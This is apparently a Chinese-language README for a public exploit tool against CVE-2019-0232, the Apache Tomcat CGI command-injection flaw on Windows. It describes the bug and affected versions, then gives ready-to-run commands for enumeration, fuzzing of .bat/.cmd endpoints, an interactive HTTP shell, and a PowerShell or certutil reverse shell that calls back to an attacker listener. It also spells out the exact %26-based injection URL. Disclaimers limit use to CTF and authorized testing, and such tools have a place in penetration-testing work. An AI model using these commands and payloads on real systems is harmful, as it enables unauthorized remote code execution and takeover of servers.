仅用于授权的CTF/渗透测试的教育性PoC。
针对非您拥有或未获得明确书面许可的系统运行此工具是违法的。
CVE-2019-0232 是 Windows 上 Apache Tomcat 中的一个远程代码执行漏洞。
当 CGI Servlet 的 enableCmdLineArguments=true(补丁前 Windows 上的默认设置)时,Tomcat 通过 Runtime.exec() 将 HTTP 查询字符串直接作为命令行参数传递给 CGI 批处理文件。在 Windows 上,Runtime.exec() 使用 cmd.exe /c 封装调用,使得 & 命令分隔符在这些参数中生效。
攻击者可以通过在 URL 中包含 &(URL 编码为 %26)来注入第二条 OS 命令:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL解码 → cmd.exe /c cmd.bat &whoami
# cmd.exe 看到 &,在 cmd.bat 退出后执行 whoami
| 分支 | 受影响范围 | 修复版本 |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
要求: conf/web.xml 中设置 enableCmdLineArguments=true(补丁前 Windows 上的默认设置)。
-w)--cmd)certutil 暂存器(备用)System32、Windows、Wbem、PowerShell,使 whoami、ipconfig、netstat、powershell.exe 无需完整路径即可运行2>&1,使错误输出可见--proxy http://127.0.0.1:8080 路由流量git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
需要 Python 3.8+。
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| 标志 | 描述 |
|---|---|
--auto | 枚举 → 模糊测试 → 进入交互式 Shell |
--enum | 仅枚举 Tomcat 版本和 CGI 路径 |
--fuzz | 模糊测试可访问的 .bat/.cmd 端点 |
--cmd COMMAND | 执行一条命令 |
--interactive | 交互式 HTTP Shell 循环 |
--reverse-shell | 生成反向 Shell(需要 --lhost) |
自动模式 — 让脚本自动发现所有内容:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
在已知端点上执行单条命令:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
交互式 Shell 循环:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
完整自动链条 → 反向 Shell(无需单独开启 nc):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
脚本在 --lport 上开启自己的 TCP 监听器,发送 PowerShell 载荷,当目标回连时进入交互式 Shell。
在已知路径上使用 PowerShell 反向 Shell:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
使用 certutil 暂存器(如果 PowerShell 被拦截):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
使用自定义字典进行模糊测试:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
无文件扩展名的条目会自动以 .bat 和 .cmd 两种形式探测。
通过 Burp Suite 路由:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
在每次请求前显示原始注入 URL:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
定位参数 / 必需参数:
-t, --target URL 目标基础 URL,例如 http://10.10.10.x:8080
路径:
-p, --path PATH 已知的 CGI 脚本路径,例如 /cgi/cmd.bat
模式:
--auto 完整链条:枚举 → 模糊测试 → 交互式
--enum 枚举 Tomcat 版本和 CGI 路径
--fuzz 模糊测试可访问的 CGI 脚本端点
--cmd COMMAND 执行一条命令并打印输出
--interactive 交互式命令循环(HTTP Shell)
--reverse-shell 发送 PowerShell 反向 Shell
反向 Shell:
--lhost IP 您的监听器 IP(HTB/OSCP 中可用 tun0)
--lport PORT 您的监听器端口(默认:4444)
--shell-method {ps,certutil}
载荷类型:ps(默认)或 certutil 暂存器
选项:
-w, --wordlist FILE 额外的 CGI 名称用于模糊测试(每行一个)
--threads N 模糊测试线程数(默认:15)
--timeout N HTTP 超时时间(秒,默认:10)
--proxy URL HTTP 代理,例如 http://127.0.0.1:8080
--no-ssl-verify 禁用 TLS 证书验证
--show-url 每次请求前打印完整的注入 URL
脚本分三步构建注入 URL:
PATH 注入 — 将命令包裹在一个先设置 PATH 的组中:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo. 输出一个空行,满足 Tomcat 的 CGI 头部解析器,使响应体可见。
URL 编码 — 通过 urllib.parse.quote 将空格转换为 +,特殊字符转换为 %XX。
注入点 — 编码后的组放置在 %26(& 分隔符)之后:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
本工具仅用于教育目的和授权的安全测试。
作者不对任何因使用本工具造成的滥用或损害负责。
在测试任何系统前,务必获得明确的书面许可。